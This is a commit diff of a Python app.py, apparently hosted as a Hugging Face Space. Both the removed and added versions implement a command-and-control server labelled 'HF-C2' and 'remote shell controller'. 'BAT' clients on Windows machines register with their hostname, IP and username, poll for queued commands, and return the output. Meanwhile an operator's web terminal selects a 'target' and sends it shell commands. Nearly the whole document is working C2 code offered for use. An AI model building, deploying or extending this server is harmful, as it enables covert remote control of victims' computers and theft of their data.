profile114 commited on
Commit
f8c4e8f
·
verified ·
1 Parent(s): 0e3404a

Upload app.py

Browse files
Files changed (1) hide show
  1. app.py +217 -236
app.py CHANGED
@@ -1,267 +1,248 @@
1
- import contextlib
2
  import json
3
  import os
4
- import threading
5
  import uuid
6
- from datetime import datetime
7
 
8
- from fastapi import FastAPI, Request
9
  from fastapi.responses import JSONResponse
10
- from starlette.middleware.cors import CORSMiddleware
11
- import gradio as gr
12
 
13
- DATA_FILE = "data.json"
14
- lock = threading.RLock()
 
 
 
 
 
 
 
 
 
 
 
15
 
16
 
17
- def load_data():
 
18
  if os.path.exists(DATA_FILE):
19
  try:
20
- with open(DATA_FILE) as f:
21
- return json.load(f)
 
 
 
22
  except Exception:
23
- return {"clients": {}, "commands": {}}
24
- return {"clients": {}, "commands": {}}
25
 
26
 
27
- def save_data(d):
28
- tmp = DATA_FILE + ".tmp"
29
- with open(tmp, "w") as f:
30
- json.dump(d, f, indent=2, ensure_ascii=False)
31
- os.replace(tmp, DATA_FILE)
 
32
 
33
 
34
- @contextlib.contextmanager
35
- def store_txn():
36
- """Load state from disk, yield it for mutation, then save back (locked)."""
37
- with lock:
38
- s = load_data()
39
- yield s
40
- save_data(s)
41
-
42
-
43
- # initial value (functions reload fresh on each call via store_txn)
44
- store = load_data()
45
-
46
- # === FastAPI REST API (for BAT clients) ===
47
- api_app = FastAPI()
48
- api_app.add_middleware(
49
- CORSMiddleware,
50
- allow_origins=["*"],
51
- allow_methods=["*"],
52
- allow_headers=["*"],
53
- )
54
-
55
-
56
- def normalize_client_id(body):
57
- cid = body.get("client_id") if isinstance(body, dict) else None
58
- if isinstance(cid, str) and cid.strip():
59
- return cid.strip()
60
- return str(uuid.uuid4())[:8]
61
-
62
-
63
- @api_app.post("/api/register")
64
- async def register(req: Request):
65
- body = await req.json()
66
- with store_txn() as store:
67
- cid = normalize_client_id(body)
68
- now = datetime.now().isoformat()
69
- if cid in store["clients"]:
70
- # Reconnect: update info, keep pending commands
71
- store["clients"][cid].update(
72
- {
73
- "hostname": body.get("hostname", store["clients"][cid]["hostname"]),
74
- "ip": body.get("ip", store["clients"][cid]["ip"]),
75
- "os": body.get("os", store["clients"][cid]["os"]),
76
- "username": body.get("username", store["clients"][cid]["username"]),
77
- "last_seen": now,
78
- }
79
- )
80
- else:
81
- store["clients"][cid] = {
82
- "hostname": body.get("hostname", "?"),
83
- "ip": body.get("ip", "?"),
84
- "os": body.get("os", "?"),
85
- "username": body.get("username", "?"),
86
- "registered_at": now,
87
- "last_seen": now,
88
- }
89
- store["commands"].setdefault(cid, [])
90
- return JSONResponse({"client_id": cid})
91
-
92
-
93
- @api_app.get("/api/poll")
94
- async def poll(client_id: str):
95
- with store_txn() as store:
96
- if not isinstance(client_id, str) or not client_id or client_id not in store["clients"]:
97
- return JSONResponse({"error": "unknown client"}, status_code=404)
98
- store["clients"][client_id]["last_seen"] = datetime.now().isoformat()
99
- for c in store["commands"].get(client_id, []):
100
- if c["status"] == "pending":
101
- return JSONResponse({"command_id": c["id"], "command": c["command"]})
102
- return JSONResponse({"command_id": None, "command": None})
103
-
104
-
105
- @api_app.post("/api/result")
106
- async def result(req: Request):
107
- body = await req.json()
108
- with store_txn() as store:
109
- cid = body.get("client_id")
110
- if not isinstance(cid, str) or not cid or cid not in store["clients"]:
111
- return JSONResponse({"ok": False, "error": "unknown client"}, status_code=404)
112
- cmd_id = body.get("command_id")
113
- output = body.get("output", "")
114
- ec = body.get("exit_code", -1)
115
- for c in store["commands"].get(cid, []):
116
- if c["id"] == cmd_id:
117
- c["status"] = "done"
118
- c["output"] = output
119
- c["exit_code"] = ec
120
- c["finished_at"] = datetime.now().isoformat()
121
- break
122
- return JSONResponse({"ok": True})
123
-
124
-
125
- @api_app.post("/api/heartbeat")
126
- async def heartbeat(req: Request):
127
- body = await req.json()
128
- with store_txn() as store:
129
- cid = body.get("client_id")
130
- if not isinstance(cid, str) or not cid or cid not in store["clients"]:
131
- return JSONResponse({"ok": False, "error": "unknown client"}, status_code=404)
132
- store["clients"][cid]["last_seen"] = datetime.now().isoformat()
133
- return JSONResponse({"ok": True})
134
-
135
-
136
- # === Helpers ===
137
- def build_messages(client_id):
138
- with store_txn() as store:
139
- if not client_id or client_id not in store["clients"]:
140
- return []
141
- messages = [
142
- {
143
- "role": "assistant",
144
- "content": "Microsoft Windows [Version 10.0.19045.3803]\n(c) Microsoft Corporation. All rights reserved.\n",
145
- }
146
- ]
147
- cmds = store["commands"].get(client_id, [])
148
- for c in cmds[-30:]:
149
- if c["status"] == "pending":
150
- out = "⏳ Pending..."
151
- elif c["status"] == "done":
152
- out = c.get("output", "") or "(no output)"
153
- else:
154
- out = f"[status: {c['status']}]"
155
- messages.append({"role": "user", "content": f"C:\\> {c['command']}"})
156
- messages.append({"role": "assistant", "content": out})
157
- return messages
158
-
159
-
160
- def build_status(client_id):
161
- with store_txn() as store:
162
- if not client_id or client_id not in store["clients"]:
163
- return "No client selected"
164
- info = store["clients"][client_id]
165
- last_seen = info.get("last_seen", "")
166
- online = False
167
- if last_seen:
168
- try:
169
- diff = (datetime.now() - datetime.fromisoformat(last_seen)).total_seconds()
170
- online = diff < 30
171
- except Exception:
172
- pass
173
- return (
174
- f"{client_id} | {info['hostname']} | {info['ip']} | "
175
- f"{'✅ Online' if online else '❌ Offline'}"
176
- )
177
 
178
 
179
- def refresh_clients():
180
- with store_txn() as store:
181
- return gr.Dropdown(choices=list(store["clients"].keys()))
182
-
183
-
184
- def on_select(client_id):
185
- return build_status(client_id), build_messages(client_id)
186
-
187
-
188
- def on_send(client_id, command):
189
- with store_txn() as store:
190
- if not client_id or not command or not command.strip():
191
- return build_status(client_id), build_messages(client_id), ""
192
- if client_id not in store["clients"]:
193
- return build_status(client_id), build_messages(client_id), command
194
- cmd_id = str(uuid.uuid4())[:8]
195
- store["commands"].setdefault(client_id, []).append(
196
- {
197
- "id": cmd_id,
198
- "command": command.strip(),
199
- "status": "pending",
200
- "output": None,
201
- "exit_code": None,
202
- "created_at": datetime.now().isoformat(),
203
- }
204
- )
205
- return build_status(client_id), build_messages(client_id), ""
206
 
207
 
208
- def on_check(client_id):
209
- return build_status(client_id), build_messages(client_id)
210
 
 
 
 
211
 
212
- def on_clear(client_id):
213
- with store_txn() as store:
214
- if client_id and client_id in store["clients"]:
215
- store["commands"][client_id] = []
216
- return build_status(client_id), build_messages(client_id)
217
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
218
 
219
- # === Gradio UI (CMD simulator) ===
220
- with gr.Blocks(title="HF CMD Terminal") as demo:
221
- gr.Markdown("# HF CMD Terminal")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
222
 
223
  with gr.Row():
224
- client_selector = gr.Dropdown(label="Target", choices=[], scale=4, interactive=True)
225
- refresh_btn = gr.Button("🔄 Refresh", scale=1)
226
- status_label = gr.Textbox(
227
- label="Status", value="No client selected", scale=3, interactive=False, container=False
228
- )
229
 
230
- terminal = gr.Chatbot(
231
- label="Terminal",
232
- height=550,
 
 
 
 
 
 
 
 
233
  )
234
 
235
- with gr.Row():
236
- cmd_input = gr.Textbox(
237
- label="",
238
- placeholder="Type a command (e.g. ipconfig) and press Enter...",
239
- scale=5,
240
- container=False,
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
241
  )
242
- send_btn = gr.Button("Send", variant="primary", scale=1)
243
- check_btn = gr.Button("Check", scale=1)
244
- clear_btn = gr.Button("Clear", scale=1)
245
-
246
- demo.load(fn=refresh_clients, outputs=[client_selector])
247
- refresh_btn.click(fn=refresh_clients, outputs=[client_selector])
248
- client_selector.change(fn=on_select, inputs=[client_selector], outputs=[status_label, terminal])
249
- send_event = send_btn.click(
250
- fn=on_send,
251
- inputs=[client_selector, cmd_input],
252
- outputs=[status_label, terminal, cmd_input],
253
- )
254
- cmd_input.submit(
255
- fn=on_send,
256
- inputs=[client_selector, cmd_input],
257
- outputs=[status_label, terminal, cmd_input],
258
- )
259
- check_btn.click(fn=on_check, inputs=[client_selector], outputs=[status_label, terminal])
260
- clear_btn.click(fn=on_clear, inputs=[client_selector], outputs=[status_label, terminal])
 
261
 
262
- # Auto-refresh (simulate real-time push)
263
- timer = gr.Timer(3)
264
- timer.tick(fn=on_check, inputs=[client_selector], outputs=[status_label, terminal])
265
 
266
- # === Mount Gradio on FastAPI and export as 'app' ===
267
- app = gr.mount_gradio_app(api_app, demo, path="/")
 
1
+ import gradio as gr
2
  import json
3
  import os
4
+ import time
5
  import uuid
6
+ from threading import Lock
7
 
8
+ from fastapi import Request
9
  from fastapi.responses import JSONResponse
 
 
10
 
11
+ # ----------------------------------------------------------------------------
12
+ # 持久化状态
13
+ # ----------------------------------------------------------------------------
14
+ DATA_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "data.json")
15
+ lock = Lock()
16
+
17
+ state = {
18
+ "clients": {}, # cid -> {hostname, ip, os, username, last_seen, status}
19
+ "queue": {}, # cid -> [{command_id, command, sent_at}]
20
+ "history": {}, # cid -> [{command_id, command, output, exit_code, ts}]
21
+ "pending": {}, # command_id -> command (用于回显命令原文)
22
+ "log": [], # 终端输出行
23
+ }
24
 
25
 
26
+ def load():
27
+ global state
28
  if os.path.exists(DATA_FILE):
29
  try:
30
+ with open(DATA_FILE, "r", encoding="utf-8") as f:
31
+ loaded = json.load(f)
32
+ for k in ("clients", "queue", "history", "pending", "log"):
33
+ if k in loaded:
34
+ state[k] = loaded[k]
35
  except Exception:
36
+ pass
 
37
 
38
 
39
+ def save():
40
+ try:
41
+ with open(DATA_FILE, "w", encoding="utf-8") as f:
42
+ json.dump(state, f, ensure_ascii=False)
43
+ except Exception:
44
+ pass
45
 
46
 
47
+ def now():
48
+ return time.strftime("%Y-%m-%d %H:%M:%S")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
49
 
50
 
51
+ def log_line(s):
52
+ state["log"].append("[%s] %s" % (now(), s))
53
+ if len(state["log"]) > 800:
54
+ state["log"] = state["log"][-800:]
55
+ save()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
56
 
57
 
58
+ load()
 
59
 
60
+ # ----------------------------------------------------------------------------
61
+ # REST API (供 BAT 客户端调用)
62
+ # ----------------------------------------------------------------------------
63
 
 
 
 
 
 
64
 
65
+ @gr.Blocks.route("/api/register", methods=["POST"])
66
+ async def api_register(request: Request):
67
+ data = await request.json()
68
+ cid = data.get("client_id") or str(uuid.uuid4())
69
+ info = {
70
+ "hostname": data.get("hostname", "?"),
71
+ "ip": data.get("ip", "?"),
72
+ "os": data.get("os", "?"),
73
+ "username": data.get("username", "?"),
74
+ "last_seen": now(),
75
+ "status": "online",
76
+ }
77
+ with lock:
78
+ state["clients"][cid] = info
79
+ state["queue"].setdefault(cid, [])
80
+ state["history"].setdefault(cid, [])
81
+ log_line(">> REGISTER %s (%s) -> %s" % (info["hostname"], info["ip"], cid[:8]))
82
+ save()
83
+ return JSONResponse({"client_id": cid, "status": "ok"})
84
 
85
+
86
+ @gr.Blocks.route("/api/poll", methods=["GET"])
87
+ async def api_poll(request: Request):
88
+ cid = request.query_params.get("client_id")
89
+ with lock:
90
+ if cid not in state["clients"]:
91
+ return JSONResponse({"command": None, "command_id": None, "error": "unknown client"})
92
+ state["clients"][cid]["last_seen"] = now()
93
+ state["clients"][cid]["status"] = "online"
94
+ q = state["queue"].get(cid, [])
95
+ if q:
96
+ cmd = q.pop(0)
97
+ state["queue"][cid] = q
98
+ state["pending"][cmd["command_id"]] = cmd["command"]
99
+ save()
100
+ return JSONResponse({"command_id": cmd["command_id"], "command": cmd["command"]})
101
+ save()
102
+ return JSONResponse({"command": None, "command_id": None})
103
+
104
+
105
+ @gr.Blocks.route("/api/result", methods=["POST"])
106
+ async def api_result(request: Request):
107
+ data = await request.json()
108
+ cid = data.get("client_id")
109
+ cmd_id = data.get("command_id")
110
+ with lock:
111
+ cmd_text = state["pending"].pop(cmd_id, "(unknown)")
112
+ rec = {
113
+ "command_id": cmd_id,
114
+ "command": cmd_text,
115
+ "output": (data.get("output") or "")[:200000],
116
+ "exit_code": data.get("exit_code"),
117
+ "ts": now(),
118
+ }
119
+ state["history"].setdefault(cid, []).append(rec)
120
+ log_line("<< RESULT %s (exit %s)\n%s" % (cid[:8], data.get("exit_code"), rec["output"][:3000]))
121
+ save()
122
+ return JSONResponse({"status": "ok"})
123
+
124
+
125
+ @gr.Blocks.route("/api/heartbeat", methods=["POST"])
126
+ async def api_heartbeat(request: Request):
127
+ data = await request.json()
128
+ cid = data.get("client_id")
129
+ with lock:
130
+ if cid in state["clients"]:
131
+ state["clients"][cid]["last_seen"] = now()
132
+ state["clients"][cid]["status"] = "online"
133
+ save()
134
+ return JSONResponse({"status": "ok"})
135
+
136
+
137
+ # ----------------------------------------------------------------------------
138
+ # Gradio UI (仿 CMD 终端)
139
+ # ----------------------------------------------------------------------------
140
+ CSS = """
141
+ :root { --term-bg:#0b0f0a; --term-fg:#33ff66; }
142
+ * { font-family: "Cascadia Code", "Consolas", "Lucida Console", monospace !important; }
143
+ body, .gradio-container { background:#000 !important; color:var(--term-fg) !important; }
144
+ .gradio-container { max-width:100% !important; }
145
+ .gr-button {
146
+ background:#111 !important; color:var(--term-fg) !important;
147
+ border:1px solid #2a6b3a !important; border-radius:0 !important;
148
+ box-shadow:none !important; font-weight:bold; text-transform:uppercase; letter-spacing:1px;
149
+ }
150
+ .gr-button:hover { background:#163 !important; }
151
+ .gr-textbox textarea, .gr-textbox input {
152
+ background:var(--term-bg) !important; color:var(--term-fg) !important;
153
+ border:1px solid #2a6b3a !important; border-radius:0 !important;
154
+ caret-color:var(--term-fg); font-size:14px; line-height:1.35;
155
+ }
156
+ .gr-dropdown select {
157
+ background:var(--term-bg) !important; color:var(--term-fg) !important;
158
+ border:1px solid #2a6b3a !important; border-radius:0 !important;
159
+ }
160
+ .gr-box, .gr-panel { background:#000 !important; border:1px solid #2a6b3a !important; border-radius:0 !important; }
161
+ .gr-form { border:0 !important; }
162
+ .term-title { color:var(--term-fg) !important; font-weight:bold; letter-spacing:2px; }
163
+ footer, .built-with { display:none !important; }
164
+ """
165
+
166
+ with gr.Blocks(css=CSS, title="HF-C2 // TERMINAL") as demo:
167
+ gr.Markdown('<div class="term-title">C:\\HF-C2&gt; _ — remote shell controller</div>')
168
 
169
  with gr.Row():
170
+ client_box = gr.Dropdown(label="target", choices=[], interactive=True, scale=4)
171
+ refresh_btn = gr.Button("refresh", scale=1)
172
+ clear_btn = gr.Button("clear", scale=1)
 
 
173
 
174
+ with gr.Row():
175
+ cmd_box = gr.Textbox(label="command", placeholder="type command and press Enter ...", scale=5)
176
+ send_btn = gr.Button("execute", scale=1)
177
+
178
+ term_box = gr.Textbox(
179
+ label="",
180
+ value="",
181
+ lines=28,
182
+ max_lines=28,
183
+ interactive=False,
184
+ show_label=False,
185
  )
186
 
187
+ status_box = gr.Textbox(label="clients", value="(none)", lines=6, interactive=False)
188
+
189
+
190
+ def refresh_terminal():
191
+ with lock:
192
+ return "\n".join(state["log"])
193
+
194
+
195
+ def refresh_clients():
196
+ with lock:
197
+ choices = list(state["clients"].keys())
198
+ lines = []
199
+ for cid, c in state["clients"].items():
200
+ lines.append(
201
+ "%-14s %-15s %-10s %-12s %s"
202
+ % (c["hostname"][:14], c["ip"][:15], cid[:8], c["status"], c["last_seen"])
203
+ )
204
+ status = "\n".join(lines) if lines else "(no clients connected)"
205
+ return gr.update(choices=choices), status
206
+
207
+
208
+ def refresh_all():
209
+ term = refresh_terminal()
210
+ clients, status = refresh_clients()
211
+ return term, clients, status
212
+
213
+
214
+ def send_command(cid, cmd):
215
+ if not cid:
216
+ return "!! no target selected", gr.update(), gr.update()
217
+ if not cmd or not cmd.strip():
218
+ return "!! empty command", gr.update(), gr.update()
219
+ cmd_id = str(uuid.uuid4())
220
+ with lock:
221
+ state["queue"].setdefault(cid, []).append(
222
+ {"command_id": cmd_id, "command": cmd, "sent_at": now()}
223
  )
224
+ log_line(">> SEND -> %s : %s" % (cid[:8], cmd))
225
+ save()
226
+ term = refresh_terminal()
227
+ return term, gr.update(), gr.update()
228
+
229
+
230
+ def clear_log():
231
+ with lock:
232
+ state["log"] = []
233
+ save()
234
+ return ""
235
+
236
+
237
+ timer = gr.Timer(3.0)
238
+ timer.tick(fn=refresh_all, inputs=None, outputs=[term_box, client_box, status_box])
239
+
240
+ refresh_btn.click(fn=refresh_all, inputs=None, outputs=[term_box, client_box, status_box])
241
+ clear_btn.click(fn=clear_log, inputs=None, outputs=[term_box])
242
+ send_btn.click(fn=send_command, inputs=[client_box, cmd_box], outputs=[term_box, client_box, status_box])
243
+ cmd_box.submit(fn=send_command, inputs=[client_box, cmd_box], outputs=[term_box, client_box, status_box])
244
 
245
+ # 初始填充
246
+ demo.load(fn=refresh_all, inputs=None, outputs=[term_box, client_box, status_box])
 
247
 
248
+ demo.launch(server_name="0.0.0.0", server_port=int(os.environ.get("PORT", 7860)))